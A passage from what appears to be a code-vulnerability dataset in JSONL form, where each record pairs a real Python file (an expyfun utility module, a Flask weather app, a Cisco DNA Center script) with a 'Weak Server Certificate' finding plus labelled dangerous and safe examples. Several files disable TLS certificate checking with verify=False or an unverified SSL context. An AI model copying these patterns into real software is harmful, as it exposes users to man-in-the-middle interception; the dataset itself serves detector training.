deprecated\" % cls.__name__\n        if self.extra:\n            msg += \"; %s\" % self.extra\n\n        # FIXME: we should probably reset __new__ for full generality\n        init = cls.__init__\n\n        def wrapped(*args, **kwargs):\n            warnings.warn(msg, category=DeprecationWarning)\n            return init(*args, **kwargs)\n        cls.__init__ = wrapped\n\n        wrapped.__name__ = '__init__'\n        wrapped.__doc__ = self._update_doc(init.__doc__)\n        wrapped.deprecated_original = init\n\n        return cls\n\n    def _decorate_fun(self, fun):\n        \"\"\"Decorate function fun\"\"\"\n        msg = \"Function %s is deprecated\" % fun.__name__\n        if self.extra:\n            msg += \"; %s\" % self.extra\n\n        def wrapped(*args, **kwargs):\n            warnings.warn(msg, category=DeprecationWarning)\n            return fun(*args, **kwargs)\n\n        wrapped.__name__ = fun.__name__\n        wrapped.__dict__ = fun.__dict__\n        wrapped.__doc__ = self._update_doc(fun.__doc__)\n\n        return wrapped\n\n    def _update_doc(self, olddoc):\n        newdoc = \"DEPRECATED\"\n        if self.extra:\n            newdoc = \"%s: %s\" % (newdoc, self.extra)\n        if olddoc:\n            newdoc = \"%s\\n\\n%s\" % (newdoc, olddoc)\n        return newdoc\n\n\nif hasattr(inspect, 'signature'):  # py35\n    def _get_args(function, varargs=False):\n        params = inspect.signature(function).parameters\n        args = [key for key, param in params.items()\n                if param.kind not in (param.VAR_POSITIONAL, param.VAR_KEYWORD)]\n        if varargs:\n            varargs = [param.name for param in params.values()\n                       if param.kind == param.VAR_POSITIONAL]\n            if len(varargs) == 0:\n                varargs = None\n            return args, varargs\n        else:\n            return args\nelse:\n    def _get_args(function, varargs=False):\n        out = inspect.getargspec(function)  # args, varargs, keywords, defaults\n        if varargs:\n            return out[:2]\n        else:\n            return out[0]\n\n\n@decorator\ndef verbose_dec(function, *args, **kwargs):\n    \"\"\"Improved verbose decorator to allow functions to override log-level\n\n    Do not call this directly to set global verbosrity level, instead use\n    set_log_level().\n\n    Parameters\n    ----------\n    function : callable\n        Function to be decorated by setting the verbosity level.\n\n    Returns\n    -------\n    dec - function\n        The decorated function\n    \"\"\"\n    arg_names = _get_args(function)\n\n    if len(arg_names) > 0 and arg_names[0] == 'self':\n        default_level = getattr(args[0], 'verbose', None)\n    else:\n        default_level = None\n\n    if('verbose' in arg_names):\n        verbose_level = args[arg_names.index('verbose')]\n    else:\n        verbose_level = default_level\n\n    if verbose_level is not None:\n        old_level = set_log_level(verbose_level, True)\n        # set it back if we get an exception\n        try:\n            ret = function(*args, **kwargs)\n        except Exception:\n            set_log_level(old_level)\n            raise\n        set_log_level(old_level)\n        return ret\n    else:\n        ret = function(*args, **kwargs)\n        return ret\n\n\ndef _new_pyglet():\n    import pyglet\n    return LooseVersion(pyglet.version) >= LooseVersion('1.4')\n\n\ndef _has_video():\n    if _new_pyglet():\n        try:\n            from pyglet.media.codecs.ffmpeg import FFmpegSource  # noqa\n        except ImportError:\n            return False\n    else:\n        try:\n            from pyglet.media.avbin import AVbinSource  # noqa\n        except ImportError:\n            try:\n                from pyglet.media.sources.avbin import AVbinSource  # noqa\n            except ImportError:\n                return False\n    return True\n\n\ndef requires_video():\n    \"\"\"Requires FFmpeg/AVbin decorator.\"\"\"\n    import pytest\n    return pytest.mark.skipif(not _has_video(), reason='Requires FFmpeg/AVbin')\n\n\ndef requires_opengl21(func):\n    \"\"\"Requires OpenGL decorator.\"\"\"\n    import pytest\n    import pyglet.gl\n    vendor = pyglet.gl.gl_info.get_vendor()\n    version = pyglet.gl.gl_info.get_version()\n    sufficient = pyglet.gl.gl_info.have_version(2, 0)\n    return pytest.mark.skipif(not sufficient,\n                              reason='OpenGL too old: %s %s'\n                              % (vendor, version,))(func)\n\n\ndef requires_lib(lib):\n    \"\"\"Requires lib decorator.\"\"\"\n    import pytest\n    try:\n        importlib.import_module(lib)\n    except Exception as exp:\n        val = True\n        reason = 'Needs %s (%s)' % (lib, exp)\n    else:\n        val = False\n        reason = ''\n    return pytest.mark.skipif(val, reason=reason)\n\n\ndef _has_scipy_version(version):\n    return (LooseVersion(sp.__version__) >= LooseVersion(version))\n\n\ndef _get_user_home_path():\n    \"\"\"Return standard preferences path\"\"\"\n    # this has been checked on OSX64, Linux64, and Win32\n    val = os.getenv('APPDATA' if 'nt' == os.name.lower() else 'HOME', None)\n    if val is None:\n        raise ValueError('expyfun config file path could '\n                         'not be determined, please report this '\n                         'error to expyfun developers')\n    return val\n\n\ndef fetch_data_file(fname):\n    \"\"\"Fetch example remote file\n\n    Parameters\n    ----------\n    fname : str\n        The remote filename to get. If the filename already exists\n        on the local system, the file will not be fetched again.\n\n    Returns\n    -------\n    fname : str\n        The filename on the local system where the file was downloaded.\n    \"\"\"\n    path = get_config('EXPYFUN_DATA_PATH', op.join(_get_user_home_path(),\n                                                   '.expyfun', 'data'))\n    fname_out = op.join(path, fname)\n    if not op.isdir(op.dirname(fname_out)):\n        os.makedirs(op.dirname(fname_out))\n    fname_url = ('https://github.com/LABSN/expyfun-data/raw/master/{0}'\n                 ''.format(fname))\n    try:\n        # until we get proper certificates\n        context = ssl._create_unverified_context()\n        this_urlopen = partial(urlopen, context=context)\n    except AttributeError:\n        context = None\n        this_urlopen = urlopen\n    if not op.isfile(fname_out):\n        try:\n            with open(fname_out, 'wb') as fid:\n                www = this_urlopen(fname_url, timeout=30.0)\n                try:\n                    fid.write(www.read())\n                finally:\n                    www.close()\n        except Exception:\n            os.remove(fname_out)\n            raise\n    return fname_out\n\n\ndef get_config_path():\n    r\"\"\"Get path to standard expyfun config file.\n\n    Returns\n    -------\n    config_path : str\n        The path to the expyfun configuration file. On windows, this\n        will be '%APPDATA%\\.expyfun\\expyfun.json'. On every other\n        system, this will be $HOME/.expyfun/expyfun.json.\n    \"\"\"\n    val = op.join(_get_user_home_path(), '.expyfun', 'expyfun.json')\n    return val\n\n\n# List the known configuration values\nknown_config_types = ('RESPONSE_DEVICE',\n                      'AUDIO_CONTROLLER',\n                      'DB_OF_SINE_AT_1KHZ_1RMS',\n                      'EXPYFUN_EYELINK',\n                      'SOUND_CARD_API',\n                      'SOUND_CARD_BACKEND',\n                      'SOUND_CARD_FS',\n                      'SOUND_CARD_NAME',\n                      'SOUND_CARD_FIXED_DELAY',\n                      'TDT_CIRCUIT_PATH',\n                      'TDT_DELAY',\n                      'TDT_INTERFACE',\n                      'TDT_MODEL',\n                      'TDT_TRIG_DELAY',\n                      'TRIGGER_CONTROLLER',\n                      'TRIGGER_ADDRESS',\n                      'WINDOW_SIZE',\n                      'SCREEN_NUM',\n                      'SCREEN_WIDTH',\n                      'SCREEN_DISTANCE',\n                      'SCREEN_SIZE_PIX',\n                      'EXPYFUN_LOGGING_LEVEL',\n                      )\n\n# These allow for partial matches: 'NAME_1' is okay key if 'NAME' is listed\nknown_config_wildcards = ()\n\n\ndef get_config(key=None, default=None, raise_error=False):\n    \"\"\"Read expyfun preference from env, then expyfun config\n\n    Parameters\n    ----------\n    key : str\n        The preference key to look for. The os environment is searched first,\n        then the expyfun config file is parsed.\n    default : str | None\n        Value to return if the key is not found.\n    raise_error : bool\n        If True, raise an error if the key is not found (instead of returning\n        default).\n\n    Returns\n    -------\n    value : str | None\n        The preference key value.\n    \"\"\"\n    if key is not None and not isinstance(key, string_types):\n        raise ValueError('key must be a string')\n\n    # first, check to see if key is in env\n    if key is not None and key in os.environ:\n        return os.environ[key]\n\n    # second, look for it in expyfun config file\n    config_path = get_config_path()\n    if not op.isfile(config_path):\n        key_found = False\n        val = default\n    else:\n        with open(config_path, 'r') as fid:\n            config = json.load(fid)\n        if key is None:\n            return config\n        key_found = True if key in config else False\n        val = config.get(key, default)\n\n    if not key_found and raise_error is True:\n        meth_1 = 'os.environ[\"%s\"] = VALUE' % key\n        meth_2 = 'expyfun.utils.set_config(\"%s\", VALUE)' % key\n        raise KeyError('Key \"%s\" not found in environment or in the '\n                       'expyfun config file:\\n%s\\nTry either:\\n'\n                       '    %s\\nfor a temporary solution, or:\\n'\n                       '    %s\\nfor a permanent one. You can also '\n                       'set the environment variable before '\n                       'running python.'\n                       % (key, config_path, meth_1, meth_2))\n    return val\n\n\ndef set_config(key, value):\n    \"\"\"Set expyfun preference in config\n\n    Parameters\n    ----------\n    key : str | None\n        The preference key to set. If None, a tuple of the valid\n        keys is returned, and ``value`` is ignored.\n    value : str |  None\n        The value to assign to the preference key. If None, the key is\n        deleted.\n    \"\"\"\n    if key is None:\n        return sorted(known_config_types)\n    if not isinstance(key, string_types):\n        raise ValueError('key must be a string')\n    # While JSON allow non-string types, we allow users to override config\n    # settings using env, which are strings, so we enforce that here\n    if not isinstance(value, string_types) and value is not None:\n        raise ValueError('value must be a string or None')\n    if key not in known_config_types and not \\\n            any(k in key for k in known_config_wildcards):\n        warnings.warn('Setting non-standard config type: \"%s\"' % key)\n\n    # Read all previous values\n    config_path = get_config_path()\n    if op.isfile(config_path):\n        with open(config_path, 'r') as fid:\n            config = json.load(fid)\n    else:\n        config = dict()\n        logger.info('Attempting to create new expyfun configuration '\n                    'file:\\n%s' % config_path)\n    if value is None:\n        config.pop(key, None)\n    else:\n        config[key] = value\n\n    # Write all values\n    directory = op.split(config_path)[0]\n    if not op.isdir(directory):\n        os.mkdir(directory)\n    with open(config_path, 'w') as fid:\n        json.dump(config, fid, sort_keys=True, indent=0)\n\n\n###############################################################################\n# MISC\n\n\ndef fake_button_press(ec, button='1', delay=0.):\n    \"\"\"Fake a button press after a delay\n\n    Notes\n    -----\n    This function only works with the keyboard controller (not TDT)!\n    It uses threads to ensure that control is passed back, so other commands\n    can be called (like wait_for_presses).\n    \"\"\"\n    def send():\n        ec._response_handler._on_pyglet_keypress(button, [], True)\n    Timer(delay, send).start() if delay > 0. else send()\n\n\ndef fake_mouse_click(ec, pos, button='left', delay=0.):\n    \"\"\"Fake a mouse click after a delay\"\"\"\n    button = dict(left=1, middle=2, right=4)[button]  # trans to pyglet\n\n    def send():\n        ec._mouse_handler._on_pyglet_mouse_click(pos[0], pos[1], button, [])\n    Timer(delay, send).start() if delay > 0. else send()\n\n\ndef _check_pyglet_version(raise_error=False):\n    \"\"\"Check pyglet version, return True if usable.\n    \"\"\"\n    import pyglet\n    is_usable = LooseVersion(pyglet.version) >= LooseVersion('1.2')\n    if raise_error is True and is_usable is False:\n        raise ImportError('On Linux, you must run at least Pyglet '\n                          'version 1.2, and you are running '\n                          '{0}'.format(pyglet.version))\n    return is_usable\n\n\ndef _wait_secs(secs, ec=None):\n    \"\"\"Wait a specified number of seconds.\n\n    Parameters\n    ----------\n    secs : float\n        Number of seconds to wait.\n    ec : None | expyfun.ExperimentController instance\n        The ExperimentController.\n\n    Notes\n    -----\n    This function uses a while loop. Although this slams the CPU, it will\n    guarantee that events (keypresses, etc.) are processed.\n    \"\"\"\n    # hog the cpu, checking time\n    t0 = clock()\n    if ec is not None:\n        while (clock() - t0) < secs:\n            ec._dispatch_events()\n            ec.check_force_quit()\n    else:\n        wins = _get_display().get_windows()\n        for win in wins:\n            win.dispatch_events()\n\n\ndef running_rms(signal, win_length):\n    \"\"\"RMS of ``signal`` with rectangular window ``win_length`` samples long.\n\n    Parameters\n    ----------\n    signal : array_like\n        The (1-dimesional) signal of interest.\n    win_length : int\n        Length (in samples) of the rectangular window\n    \"\"\"\n    return sqrt(convolve(signal ** 2, ones(win_length) / win_length, 'valid'))\n\n\ndef _fix_audio_dims(signal, n_channels):\n    \"\"\"Make it so a valid audio buffer is in the standard dimensions\n\n    Parameters\n    ----------\n    signal : array_like\n        The signal whose dimensions should be checked and fixed.\n    n_channels : int\n        The number of channels that the output should have.\n        If the input is mono and n_channels=2, it will be tiled to be\n        shape (2, n_samples). Otherwise, the number of channels in signal\n        must match n_channels.\n\n    Returns\n    -------\n    signal_fixed : array\n        The signal with standard dimensions (n_channels, N).\n    \"\"\"\n    # Check requested channel output\n    n_channels = int(operator.index(n_channels))\n    signal = np.asarray(np.atleast_2d(signal), dtype=np.float32)\n    # Check dimensionality\n    if signal.ndim != 2:\n        raise ValueError('Sound data must have one or two dimensions, got %s.'\n                         % (signal.ndim,))\n    # Return data with correct dimensions\n    if n_channels == 2 and signal.shape[0] == 1:\n        signal = np.tile(signal, (n_channels, 1))\n    if signal.shape[0] != n_channels:\n        raise ValueError('signal channel count %d did not match required '\n                         'channel count %d' % (signal.shape[0], n_channels))\n    return signal\n\n\ndef _sanitize(text_like):\n    \"\"\"Cast as string, encode as UTF-8 and sanitize any escape characters.\n    \"\"\"\n    return text_type(text_like).encode('unicode_escape').decode('utf-8')\n\n\ndef _sort_keys(x):\n    \"\"\"Sort and return keys of dict\"\"\"\n    keys = list(x.keys())  # note: not thread-safe\n    idx = np.argsort([str(k) for k in keys])\n    keys = [keys[ii] for ii in idx]\n    return keys\n\n\ndef object_diff(a, b, pre=''):\n    \"\"\"Compute all differences between two python variables\n\n    Parameters\n    ----------\n    a : object\n        Currently supported: dict, list, tuple, ndarray, int, str, bytes,\n        float, StringIO, BytesIO.\n    b : object\n        Must be same type as ``a``.\n    pre : str\n        String to prepend to each line.\n\n    Returns\n    -------\n    diffs : str\n        A string representation of the differences.\n\n    Notes\n    -----\n    Taken from mne-python with permission.\n    \"\"\"\n    out = ''\n    if type(a) != type(b):\n        out += pre + ' type mismatch (%s, %s)\\n' % (type(a), type(b))\n    elif isinstance(a, dict):\n        k1s = _sort_keys(a)\n        k2s = _sort_keys(b)\n        m1 = set(k2s) - set(k1s)\n        if len(m1):\n            out += pre + ' x1 missing keys %s\\n' % (m1)\n        for key in k1s:\n            if key not in k2s:\n                out += pre + ' x2 missing key %s\\n' % key\n            else:\n                out += object_diff(a[key], b[key], pre + 'd1[%s]' % repr(key))\n    elif isinstance(a, (list, tuple)):\n        if len(a) != len(b):\n            out += pre + ' length mismatch (%s, %s)\\n' % (len(a), len(b))\n        else:\n            for xx1, xx2 in zip(a, b):\n                out += object_diff(xx1, xx2, pre='')\n    elif isinstance(a, (string_types, int, float, bytes)):\n        if a != b:\n            out += pre + ' value mismatch (%s, %s)\\n' % (a, b)\n    elif a is None:\n        if b is not None:\n            out += pre + ' a is None, b is not (%s)\\n' % (b)\n    elif isinstance(a, np.ndarray):\n        if not np.array_equal(a, b):\n            out += pre + ' array mismatch\\n'\n    else:\n        raise RuntimeError(pre + ': unsupported type %s (%s)' % (type(a), a))\n    return out\n\n\ndef _check_skip_backend(backend):\n    from expyfun._sound_controllers import _import_backend\n    import pytest\n    if isinstance(backend, dict):  # actually an AC\n        backend = backend['SOUND_CARD_BACKEND']\n    try:\n        _import_backend(backend)\n    except Exception as exc:\n        pytest.skip('Skipping test for backend %s: %s' % (backend, exc))\n\n\ndef _check_params(params, keys, defaults, name):\n    if not isinstance(params, dict):\n        raise TypeError('{0} must be a dict, got type {1}'\n                        .format(name, type(params)))\n    params = deepcopy(params)\n    if not isinstance(params, dict):\n        raise TypeError('{0} must be a dict, got {1}'\n                        .format(name, type(params)))\n    # Set sensible defaults for values that are not passed\n    for k in keys:\n        params[k] = params.get(k, get_config(k, defaults.get(k, None)))\n    # Check keys\n    for k in params.keys():\n        if k not in keys:\n            raise KeyError('Unrecognized key in {0}[\"{1}\"], must be '\n                           'one of {2}'.format(name, k, ', '.join(keys)))\n    return params\n\n\ndef _get_display():\n    import pyglet\n    try:\n        display = pyglet.canvas.get_display()\n    except AttributeError:  # < 1.4\n        display = pyglet.window.get_platform().get_default_display()\n    return display", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 527, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "3478095239e3da65c2e11a094357b64565ce47f7922c7d3404c8fd290cadc3a2", "license": {"spdx": ["Apache-2.0"], "repo": "djlafferty7/itlookslikedanlaffertyoutside", "path": "main.py", "repo_head_hexsha": "fc98a4c42911d364c72317abdb9fc96abd70b8b2", "stack_hexsha": "89543e9c996717e15aa0e3c4f48041c92613b895", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 28, "entireCode": "import json\nimport requests\nimport time\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\n\nAPI_KEY=''\n\n@app.route('/')\ndef index():\n    background, style, message = setParams()\n    return render_template('index.html', background=background, style=style, message=message)\n\n#funstion to set parameters\ndef setParams():\n    weather = getWeather()\n    background, style = getBackground(weather)\n    condition = weather['weather'][0]['description']\n    message = \"Looks like it's \" + condition + \" outside\"\n    return background, style, message\n\n#get users city from IP address and return weather\ndef getWeather():\n    try:\n        ip_address = request.headers['x-appengine-user-ip']\n        url = f'http://ip-api.com/json/{ip_address}'\n        location = requests.get(url, verify=False).json()\n        city = location['city']\n    except Exception as e:\n        print(e)\n        city='london'\n    url = f'https://api.openweathermap.org/data/2.5/weather?q={city}&appid={API_KEY}'\n    weather = requests.get(url, verify=False).json()\n    return weather\n\n#get current time in seconds\ndef getCurrentTime():\n    now = round(time.time())\n    return now\n\n#return background image based on time of day\ndef getBackground(weather):\n    sunrise = weather['sys']['sunrise']\n    sunset = weather['sys']['sunset']\n    startSunset = sunset - 3600\n    endSunset = sunset + 3600\n    now = getCurrentTime()\n    condition = weather['weather'][0]['main']\n    if (now < sunrise):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/night_spain.jpeg'\n        day = False\n    elif (now > sunrise and now < startSunset):\n        background = weatherPic(condition)\n        day = True\n    elif (now > startSunset and now < endSunset):\n        background = sunsetPic(condition)\n        day = True\n    elif (now > endSunset):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/night_spain.jpeg'\n        day = False\n    style = setStyle(day)\n    return background, style\n\n#retrin sunset image based on weather\ndef sunsetPic(condition):\n    if (condition == 'Clear'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sunset_burma.jpg'\n    elif (condition == 'Clouds'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sunset_england.jpg'\n    else:\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sunset_burma.jpg'\n    return background\n\n#return daytime image based on weather\ndef weatherPic(condition):\n    if (condition == 'Clear'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n    elif (condition == 'Clouds'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/clouds_london.jpg'\n    elif (condition == 'Rain'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n    elif (condition == 'Drizzle'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n    elif (condition == 'Snow'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n    elif (condition == 'Thunderstorm'):\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n    else:\n        background = 'https://storage.googleapis.com/apportunity.appspot.com/sun_spain.JPG'\n    return background\n\n#fucntion to get style\ndef setStyle(day):\n    if (day == True):\n        style = ['grey lighten-5','grey lighten-3']\n    else:\n        style = ['grey darken-4','black']\n    return style\n\n    \n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8080, debug=True)", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 28, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "75023b383d764b01b869c861703fa1237f65e4339dfedb5b8255b4ba8511a4f2", "license": {"spdx": ["MIT"], "repo": "VLTSankalpa/python_networking", "path": "python_code_tips/functions_example/functions-before.py", "repo_head_hexsha": "653662da9ae3fdd49b118c3dbd4d3b4fdf062d17", "stack_hexsha": "b6988b45fdc7a4b35d2172399d969e8f908dea42", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 50, "entireCode": "#! /usr/bin/env python\n\nimport requests\nimport json\nimport argparse\n\n# Diable InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(\n    requests.packages.urllib3.exceptions.InsecureRequestWarning\n)\n\n# DevNet Always-On Sandbox DNA Center\n# https://devnetsandbox.cisco.com/RM/Diagram/Index/471eb739-323e-4805-b2a6-d0ec813dc8fc?diagramType=Topology\ndnac = {\n    \"host\": \"sandboxdnac2.cisco.com\",\n    \"username\": \"devnetuser\",\n    \"password\": \"!\",\n    \"port\": 443,\n}\n\n\n# Setup Arg Parse for Command Line parameters\nparser = argparse.ArgumentParser()\n\n# Command Line Parameters for Source and Destination IP\nparser.add_argument(\"source_ip\", help=\"Source IP Address\")\nparser.add_argument(\"destination_ip\", help=\"Destination IP Address\")\nargs = parser.parse_args()\n\n# Get Source and Destination IPs from Command Line\nsource_ip = args.source_ip\ndestination_ip = args.destination_ip\n\n# Print Starting message\nprint(\"Running Troubleshooting Script for \")\nprint(\"      Source IP:      {} \".format(source_ip))\nprint(\"      Destination IP: {}\".format(destination_ip))\nprint(\"\")\n\n# Headers for DNAC\nheaders = {\"content-type\": \"application/json\", \"x-auth-token\": \"\"}\n\n\n# Login to DNAC\nurl = \"https://{}:{}/dna/system/api/v1/auth/token\".format(\n    dnac[\"host\"], dnac[\"port\"]\n)\n\n# Make Login request and return the response body\nresponse = requests.request(\n    \"POST\",\n    url,\n    auth=(dnac[\"username\"], dnac[\"password\"]),\n    headers=headers,\n    verify=False,\n)\ntoken = response.json()[\"Token\"]\nheaders[\"x-auth-token\"] = token\n\n# URL for Host Calls\nurl = \"https://{}/api/v1/host\".format(dnac[\"host\"])\n\n# Get Host Infomration for Source\nsource_url = url + \"?\" + \"&hostIp={}\".format(source_ip)\n\n# Make API request and return the response body\nresponse = requests.request(\"GET\", source_url, headers=headers, verify=False)\nsource_host = response.json()[\"response\"][0]\n\n# Print out details about source\nprint(\"Source Host Details:\")\nprint(\"-\" * 25)\n# If optional host details missing, add as \"Unavailable\"\nif \"hostName\" not in source_host.keys():\n    source_host[\"hostName\"] = \"Unavailable\"\n\n# Print Standard Details\nprint(\"Host Name: {}\".format(source_host[\"hostName\"]))\nprint(\"Network Type: {}\".format(source_host[\"hostType\"]))\nprint(\n    \"Connected Network Device: {}\".format(\n        source_host[\"connectedNetworkDeviceIpAddress\"]\n    )\n)  # noqa: E501\n\n# Print Wired/Wireless Details\nif source_host[\"hostType\"] == \"wired\":\n    print(\n        \"Connected Interface Name: {}\".format(\n            source_host[\"connectedInterfaceName\"]\n        )\n    )  # noqa: E501\nif source_host[\"hostType\"] == \"wireless\":\n    print(\"Connected AP Name: {}\".format(source_host[\"connectedAPName\"]))\n\n# Print More Standard Details\nprint(\"VLAN: {}\".format(source_host[\"vlanId\"]))\nprint(\"Host IP: {}\".format(source_host[\"hostIp\"]))\nprint(\"Host MAC: {}\".format(source_host[\"hostMac\"]))\nprint(\"Host Sub Type: {}\".format(source_host[\"subType\"]))\n\n# Blank line at the end\nprint(\"\")\n\n# Get Host Infomration for Destination\ndestination_url = url + \"?\" + \"&hostIp={}\".format(destination_ip)\n\n# Make API request and return the response body\nresponse = requests.request(\n    \"GET\", destination_url, headers=headers, verify=False\n)\ndestination_host = response.json()[\"response\"][0]\n\n# Print out details about source\nprint(\"Detination Host Details:\")\nprint(\"-\" * 25)\n# If optional host details missing, add as \"Unavailable\"\nif \"hostName\" not in destination_host.keys():\n    destination_host[\"hostName\"] = \"Unavailable\"\n\n# Print Standard Details\nprint(\"Host Name: {}\".format(destination_host[\"hostName\"]))\nprint(\"Network Type: {}\".format(destination_host[\"hostType\"]))\nprint(\n    \"Connected Network Device: {}\".format(\n        destination_host[\"connectedNetworkDeviceIpAddress\"]\n    )\n)  # noqa: E501\n\n# Print Wired/Wireless Details\nif destination_host[\"hostType\"] == \"wired\":\n    print(\n        \"Connected Interface Name: {}\".format(\n            destination_host[\"connectedInterfaceName\"]\n        )\n    )  # noqa: E501\nif destination_host[\"hostType\"] == \"wireless\":\n    print(\"Connected AP Name: {}\".format(destination_host[\"connectedAPName\"]))\n\n# Print More Standard Details\nprint(\"VLAN: {}\".format(destination_host[\"vlanId\"]))\nprint(\"Host IP: {}\".format(destination_host[\"hostIp\"]))\nprint(\"Host MAC: {}\".format(destination_host[\"hostMac\"]))\nprint(\"Host Sub Type: {}\".format(destination_host[\"subType\"]))\n\n# Blank line at the end\nprint(\"\")", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 50, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
